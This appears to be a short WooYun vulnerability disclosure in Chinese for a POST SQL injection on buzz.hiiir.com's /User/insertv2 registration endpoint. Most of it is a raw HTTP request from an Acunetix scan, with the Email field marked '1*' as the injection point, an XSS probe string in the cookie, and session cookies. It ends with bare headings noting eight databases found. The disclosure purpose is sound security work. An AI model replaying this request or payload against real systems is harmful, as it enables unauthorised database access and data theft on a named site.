WooYun.org

post型注入，Email值置为 1*
<codePOST /User/insertv2 HTTP/1.1
Content-Length: 1314
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_XDFRHJFPIH
Cookie: PHPSESSID=tucaefbr7d1ons1e4dpo8uuaa3; _Timer=2; __utmt=1; __utma=112679063.147806675.1445761226.1445761226.1445761226.1; __utmb=112679063.1.10.1445761226; __utmc=112679063; __utmz=112679063.1445761226.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); __atuvc=1%7C43; __atuvs=562c90cd86154c59000
Host: buzz.hiiir.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="accept"
on
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="Account"
4111111111111111
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="day"
1
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="Email"
1*
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="month"
1
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="Nickname"
jhpqnhss
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="Occupation"
1
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="Openid"
1
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="PassWord"
g00dPa$$w0rD
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="Sex"
1
-------AcunetixBoundary_XDFRHJFPIH
Content-Disposition: form-data; name="year"
1940
-------AcunetixBoundary_XDFRHJFPIH--
</code>
注入点

类型

8个库